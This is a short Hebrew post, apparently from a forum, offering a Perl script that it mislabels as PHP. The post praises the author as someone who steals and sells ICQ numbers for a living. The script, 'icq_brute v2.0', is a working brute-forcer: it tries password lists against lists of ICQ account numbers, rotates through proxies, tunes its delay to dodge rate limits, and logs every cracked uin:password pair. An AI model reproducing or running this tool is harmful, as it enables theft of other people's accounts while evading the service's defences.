סקריפט שנכתב ע"י בנאדם שגונב ומוכר מספרי אייסי למחייתו, ככה שהוא אחד הטובים ביותר.
קוד PHP:
#!/usr/bin/perl
use Net::vICQ;
$pause=6;
$no_fast=1;
$PROXY_TYPE='http';
$debug=1;
$uins='uins.txt';
$passwordlst='pass.txt';
$proxylst='proxies.txt';
$success='log.txt';
$iall=0;
#$j=0;
$ctr=0;
#$t=50;
#@forked=();
@proxies=();
print "\n# $0\n# Modified by .:[KSURi]:.\n" if $debug;
$SIG{INT}=sub { &suicide(); };
readProxyFile();
#while(1)
#{
# for($i=0;$i<=$t;$i++)
# {
# if ($pid=fork())
# {
# push(@forked,$pid);
# }
# else
# {
&checkstart;
&openuins;
# exit;
# }
# }
# killpidz();
#}
sub checkstart
{
&crash(1,$uins) unless (-f $uins);
&crash(1,$passwordlst) unless (-f $passwordlst);
}
sub openuins
{
open(UINS,"$uins") || &crash(10);
while(<UINS>)
{
chomp($_);
push(@uinslst,$_)
}
close(UINS);
open(PASS,"$passwordlst") || &crash(10);
while(<PASS>)
{
chomp($_);
push(@ps,$_)
}
close(PASS);
for ($iall=0;$iall<=scalar(@uinslst);$iall++)
{
if ($iall>=scalar(@uinslst)) { &crash(2) }
$prepareuin=$uinslst[$iall];
print "Bruting $prepareuin...\n\n" if $debug;
openpass($prepareuin);
}
}
sub openpass
{
my($uin)=@_;
foreach $pass (@ps)
{
$done=crack($pass,$uin);
if ($done eq 2)
{
print "\nPASSWORD FOUND\n" if $debug;
return
}
if ($done eq 3)
{
print "\nEOF: $passwordlst\n" if $debug;
return
}
}
}
sub crack
{
$ctr++;
$ctr=0 if($ctr>$#proxies);
my($currProxy,$currPort)=split(':',$proxies[$ctr]);
my($passwd,$uin)=@_;
unless ($passwd) { return 3; }
print "Trying $uin:$passwd (proxy: $currProxy:$currPort)\n" if $debug;
$resuilt=&sock($uin,$passwd,$currProxy,$currPort);
if ($resuilt == -1)
{
redo
}
elsif (!($resuilt))
{
return 0;
}
elsif ($resuilt)
{
print " -> OK\n" if $debug;
logging($success,"$uin\:$passwd");
# $i++;
return 2;
}
}
sub sock
{
print "Wait $pause seconds (no fast $no_fast times) ";
sleep($pause);
my ($uin,$passwd,$proxy,$port)=@_;
my $icq = Net::vICQ->new($uin, $passwd,0);
$icq->{_Auto_Login} = 1;
$icq->{_Proxy_Type} = $PROXY_TYPE;
$icq->{_Proxy_Host} = $proxy;
$icq->{_Proxy_Port} = $port;
$icq->Connect();
if(!($err = $icq->GetError()))
{
while(!$icq->{_LoggedIn} && !($err = $icq->GetError()))
{
$icq->Execute_Once();
}
}
$icq->Disconnect();
$no_fast++;
if ($no_fast==20) {$no_fast=0;$pause-- if ($pause>1);}
if (!$err)
{
return 1;
}
else
{
print $err."\n" if $debug;
if ($err=~/(recverror|missmatch)/)
{
return 0;
}
if ($err=~/fast/)
{
$pause++;
$no_fast=0;
}
return -1;
}
}
sub logging
{
my($logg,$string)=@_;
open(LOGG,">>$logg") || &crash(10);
print LOGG "$string\n";
close(LOGG);
}
sub crash
{
my($desc,$file)=@_;
if ($desc == 1)
{
exit print "\nCan\'t access to $file\n" if $debug;
exit
}
elsif ($desc == 2)
{
exit print "\nEOF: $uins\n" if $debug;
exit
}
elsif ($desc == 10)
{
exit print "\nUnknown error\n" if $debug;
exit
}
}
sub readProxyFile
{
open(PROXY,"$proxylst") or crash(1,"$proxylst");
@proxies=<PROXY>;
close PROXY;
foreach $proxy(@proxies)
{
chomp($proxy);
}
print "\n".$#proxies." proxies loaded\n\n" if $debug;
}
sub suicide
{
print "\n\$SIG{INT} hooked!\n";
# foreach (@forked)
# {
# chomp;
# waitpid($_,0);
# kill("TERM" => $_)
# }
# undef @forked;
exit(0);
}
# icq_brute v2.0.pl
# Modified by .:[KSURi]:.